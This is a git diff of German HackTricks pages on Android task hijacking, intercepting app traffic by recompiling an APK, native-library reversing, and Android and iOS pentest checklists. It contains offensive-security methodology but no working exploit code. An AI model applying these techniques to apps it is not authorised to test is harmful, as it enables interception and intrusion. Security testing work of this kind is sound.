Um solche Angriffe zu verhindern, können Entwickler `taskAffinity` auf einen leeren String setzen und den `singleInstance`-Startmodus wählen, um die Isolation ihrer App von anderen zu gewährleisten. Die Anpassung der Funktion `onBackPressed()` bietet zusätzlichen Schutz gegen Task-Hijacking.
|
||||
|
||||
## **Referenzen**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,18 @@
|
|||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Einige Anwendungen mögen keine vom Benutzer heruntergeladenen Zertifikate, daher müssen wir, um den Webverkehr für einige Apps zu inspizieren, die Anwendung tatsächlich dekompilieren, ein paar Dinge hinzufügen und sie neu kompilieren.
|
||||
|
||||
# Automatisch
|
||||
|
@ -29,11 +21,11 @@ Das Tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrou
|
|||
|
||||
# Manuell
|
||||
|
||||
Zuerst dekompilieren wir die App: `apktool d *dateiname*.apk`
|
||||
Zuerst dekompilieren wir die App: `apktool d *file-name*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
Dann gehen wir in die **Manifest.xml**-Datei und scrollen zum `<\application android>`-Tag und fügen die folgende Zeile hinzu, falls sie noch nicht vorhanden ist:
|
||||
Dann gehen wir in die **Manifest.xml**-Datei und scrollen nach unten zum `<\application android>`-Tag und fügen die folgende Zeile hinzu, falls sie noch nicht vorhanden ist:
|
||||
|
||||
`android:networkSecurityConfig="@xml/network_security_config`
|
||||
|
||||
|
@ -70,7 +62,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -10,28 +10,15 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Für weitere Informationen siehe:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder C++ geschrieben sind, für leistungsintensive Aufgaben. Malware-Ersteller verwenden ebenfalls diese Bibliotheken, da sie schwieriger umzukehren sind als DEX-Bytecode. Der Abschnitt betont Reverse-Engineering-Fähigkeiten, die auf Android zugeschnitten sind, anstatt Assemblersprachen zu lehren. ARM- und x86-Versionen von Bibliotheken werden zur Kompatibilität bereitgestellt.
|
||||
Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder C++ geschrieben sind, für leistungsintensive Aufgaben. Malware-Ersteller nutzen ebenfalls diese Bibliotheken, da sie schwieriger umzukehren sind als DEX-Bytecode. Der Abschnitt betont Reverse-Engineering-Fähigkeiten, die auf Android zugeschnitten sind, anstatt Assemblersprachen zu lehren. ARM- und x86-Versionen von Bibliotheken werden zur Kompatibilität bereitgestellt.
|
||||
|
||||
### Wichtige Punkte:
|
||||
|
||||
|
@ -43,7 +30,7 @@ Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder
|
|||
* **Java Native Interface (JNI) & Android NDK:**
|
||||
* JNI ermöglicht es, Java-Methoden in nativen Code zu implementieren.
|
||||
* NDK ist ein Android-spezifisches Set von Tools zum Schreiben von nativem Code.
|
||||
* JNI und NDK verbinden Java (oder Kotlin)-Code mit nativen Bibliotheken.
|
||||
* JNI und NDK verbinden Java (oder Kotlin) Code mit nativen Bibliotheken.
|
||||
* **Bibliotheksladung & Ausführung:**
|
||||
* Bibliotheken werden mit `System.loadLibrary` oder `System.load` in den Speicher geladen.
|
||||
* JNI\_OnLoad wird beim Laden der Bibliothek ausgeführt.
|
||||
|
@ -58,7 +45,7 @@ Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder
|
|||
|
||||
### Ressourcen:
|
||||
|
||||
* **Lernen von ARM-Assembly:**
|
||||
* **ARM-Assembly lernen:**
|
||||
* Empfohlen für ein tieferes Verständnis der zugrunde liegenden Architektur.
|
||||
* [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) von Azeria Labs wird empfohlen.
|
||||
* **JNI & NDK-Dokumentation:**
|
||||
|
@ -68,17 +55,6 @@ Android-Apps können native Bibliotheken verwenden, die typischerweise in C oder
|
|||
* **Debugging nativer Bibliotheken:**
|
||||
* [Debuggen von Android-nativen Bibliotheken mit JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -90,7 +66,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,21 @@
|
|||
# Android APK Checklist
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Lerne die Grundlagen von Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [Lernen Sie die Grundlagen von Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Grundlagen](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
|
@ -41,60 +33,53 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
### [Statische Analyse](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Überprüfe die Verwendung von [Obfuskation](android-checklist.md#some-obfuscation-deobfuscation-information), überprüfe, ob das Mobilgerät gerootet ist, ob ein Emulator verwendet wird und Anti-Tampering-Überprüfungen. [Lies dies für mehr Informationen](android-app-pentesting/#other-checks).
|
||||
* [ ] Sensible Anwendungen (wie Bank-Apps) sollten überprüfen, ob das Mobilgerät gerootet ist und entsprechend handeln.
|
||||
* [ ] Suche nach [interessanten Zeichenfolgen](android-app-pentesting/#looking-for-interesting-info) (Passwörter, URLs, API, Verschlüsselung, Hintertüren, Tokens, Bluetooth UUIDs...).
|
||||
* [ ] Überprüfen Sie die Verwendung von [Obfuskation](android-checklist.md#some-obfuscation-deobfuscation-information), prüfen Sie, ob das Mobilgerät gerootet ist, ob ein Emulator verwendet wird und Anti-Tampering-Überprüfungen. [Lesen Sie dies für weitere Informationen](android-app-pentesting/#other-checks).
|
||||
* [ ] Sensible Anwendungen (wie Bank-Apps) sollten überprüfen, ob das Mobilgerät gerootet ist, und entsprechend handeln.
|
||||
* [ ] Suchen Sie nach [interessanten Zeichenfolgen](android-app-pentesting/#looking-for-interesting-info) (Passwörter, URLs, API, Verschlüsselung, Hintertüren, Tokens, Bluetooth UUIDs...).
|
||||
* [ ] Besondere Aufmerksamkeit auf [Firebase](android-app-pentesting/#firebase)APIs.
|
||||
* [ ] [Lies das Manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Überprüfe, ob die Anwendung im Debug-Modus ist und versuche, sie "auszunutzen".
|
||||
* [ ] Überprüfe, ob die APK Backups zulässt.
|
||||
* [ ] [Lesen Sie das Manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Überprüfen Sie, ob die Anwendung im Debug-Modus ist, und versuchen Sie, sie "auszunutzen".
|
||||
* [ ] Überprüfen Sie, ob die APK Backups zulässt.
|
||||
* [ ] Exportierte Aktivitäten.
|
||||
* [ ] Inhaltsanbieter.
|
||||
* [ ] Exponierte Dienste.
|
||||
* [ ] Broadcast-Empfänger.
|
||||
* [ ] URL-Schemata.
|
||||
* [ ] Speichert die Anwendung Daten unsicher intern oder extern? [Insecure Data Storage](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] Gibt es ein [Passwort, das hart codiert oder auf der Festplatte gespeichert ist](android-app-pentesting/#poorkeymanagementprocesses)? Verwendet die App [unsichere kryptografische Algorithmen](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Gibt es ein [Passwort, das hartcodiert oder auf der Festplatte gespeichert ist](android-app-pentesting/#poorkeymanagementprocesses)? Verwendet die App [unsichere kryptografische Algorithmen](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] Sind alle Bibliotheken mit dem PIE-Flag kompiliert?
|
||||
* [ ] Vergiss nicht, dass es eine Menge [statischer Android-Analyzer](android-app-pentesting/#automatic-analysis) gibt, die dir in dieser Phase sehr helfen können.
|
||||
* [ ] Vergessen Sie nicht, dass es eine Menge [statischer Android-Analyzer](android-app-pentesting/#automatic-analysis) gibt, die Ihnen in dieser Phase sehr helfen können.
|
||||
|
||||
### [Dynamische Analyse](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Bereite die Umgebung vor ([online](android-app-pentesting/#online-dynamic-analysis), [lokale VM oder physisch](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Bereiten Sie die Umgebung vor ([online](android-app-pentesting/#online-dynamic-analysis), [lokale VM oder physisch](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] Gibt es [unbeabsichtigte Datenlecks](android-app-pentesting/#unintended-data-leakage) (Protokollierung, Kopieren/Einfügen, Absturzprotokolle)?
|
||||
* [ ] [Vertrauliche Informationen, die in SQLite-Datenbanken gespeichert werden](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [Ausnutzbare exportierte Aktivitäten](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [Ausnutzbare Inhaltsanbieter](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [Ausnutzbare exponierte Dienste](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [Ausnutzbare Broadcast-Empfänger](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] Überträgt die Anwendung Informationen im Klartext/verwendet sie schwache Algorithmen? [Insufficient Transport Layer Protection](android-app-pentesting/#insufficient-transport-layer-protection)? Ist ein MitM möglich?
|
||||
* [ ] Überträgt die Anwendung Informationen im Klartext/benutzt sie schwache Algorithmen? [Insufficient Transport Layer Protection](android-app-pentesting/#insufficient-transport-layer-protection)? Ist ein MitM möglich?
|
||||
* [ ] [HTTP/HTTPS-Verkehr inspizieren](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Dies ist wirklich wichtig, denn wenn du den HTTP-Verkehr erfassen kannst, kannst du nach häufigen Web-Schwachstellen suchen (Hacktricks hat viele Informationen über Web-Schwachstellen).
|
||||
* [ ] Überprüfe auf mögliche [Android-Client-Seiten-Injektionen](android-app-pentesting/#android-client-side-injections-and-others) (wahrscheinlich wird hier eine statische Codeanalyse helfen).
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Nur Frida, benutze es, um interessante dynamische Daten aus der Anwendung zu erhalten (vielleicht einige Passwörter...).
|
||||
* [ ] Dies ist wirklich wichtig, denn wenn Sie den HTTP-Verkehr erfassen können, können Sie nach häufigen Web-Schwachstellen suchen (Hacktricks hat viele Informationen über Web-Schwachstellen).
|
||||
* [ ] Überprüfen Sie mögliche [Android-Client-Seiten-Injektionen](android-app-pentesting/#android-client-side-injections-and-others) (wahrscheinlich wird hier eine statische Codeanalyse helfen).
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Nur Frida, verwenden Sie es, um interessante dynamische Daten aus der Anwendung zu erhalten (vielleicht einige Passwörter...).
|
||||
|
||||
### Einige Informationen zur Obfuskation/Deobfuskation
|
||||
|
||||
* [ ] [Hier lesen](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -23,14 +23,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Vorbereitung
|
||||
|
||||
* [ ] Lesen Sie [**iOS Grundlagen**](ios-pentesting/ios-basics.md)
|
||||
|
@ -63,9 +55,9 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
### Backups
|
||||
|
||||
* [ ] [**Backups**](ios-pentesting/#backups) können verwendet werden, um **auf die im Dateisystem gespeicherten sensiblen Informationen** zuzugreifen (überprüfen Sie den ersten Punkt dieser Checkliste).
|
||||
* [ ] Außerdem können [**Backups**](ios-pentesting/#backups) verwendet werden, um **einige Konfigurationen der Anwendung zu ändern**, dann **das Backup auf dem Telefon wiederherzustellen**, und da die **geänderte Konfiguration** **geladen** wird, kann einige (Sicherheits-) **Funktionalität** möglicherweise **umgangen** werden.
|
||||
* [ ] Außerdem können [**Backups**](ios-pentesting/#backups) verwendet werden, um **einige Konfigurationen der Anwendung zu ändern**, dann **das Backup** auf dem Telefon **wiederherzustellen**, und da die **geänderte Konfiguration** **geladen** wird, kann einige (Sicherheits-) **Funktionalität** möglicherweise **umgangen** werden.
|
||||
|
||||
### **Speicher der Anwendungen**
|
||||
### **Anwendungs-Speicher**
|
||||
|
||||
* [ ] Überprüfen Sie auf sensible Informationen im [**Speicher der Anwendung**](ios-pentesting/#testing-memory-for-sensitive-data).
|
||||
|
||||
|
@ -86,18 +78,18 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
* [**Benutzerdefinierte URI-Handler / Deeplinks / Benutzerdefinierte Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **ein Protokoll/Scheme registriert**.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **registriert ist, um** ein Protokoll/Scheme zu verwenden.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **erwartet, irgendeine Art von sensiblen Informationen** vom benutzerdefinierten Scheme zu erhalten, die von einer anderen Anwendung, die dasselbe Scheme registriert, **abgefangen** werden können.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **erwartet, eine Art von sensiblen Informationen** vom benutzerdefinierten Scheme zu erhalten, die von einer anderen Anwendung, die dasselbe Scheme registriert, **abgefangen** werden können.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **keine Überprüfung und Bereinigung** der Benutzereingaben über das benutzerdefinierte Scheme vornimmt und ob eine **Schwachstelle ausgenutzt werden kann**.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **irgendeine sensible Aktion** exponiert, die von überall über das benutzerdefinierte Scheme aufgerufen werden kann.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **eine sensible Aktion exponiert**, die von überall über das benutzerdefinierte Scheme aufgerufen werden kann.
|
||||
* [**Universelle Links**](ios-pentesting/#universal-links)
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **ein universelles Protokoll/Scheme registriert**.
|
||||
* [ ] Überprüfen Sie die `apple-app-site-association`-Datei.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **keine Überprüfung und Bereinigung** der Benutzereingaben über das benutzerdefinierte Scheme vornimmt und ob eine **Schwachstelle ausgenutzt werden kann**.
|
||||
* [ ] Überprüfen Sie, ob die Anwendung **irgendeine sensible Aktion** exponiert, die von überall über das benutzerdefinierte Scheme aufgerufen werden kann.
|
||||
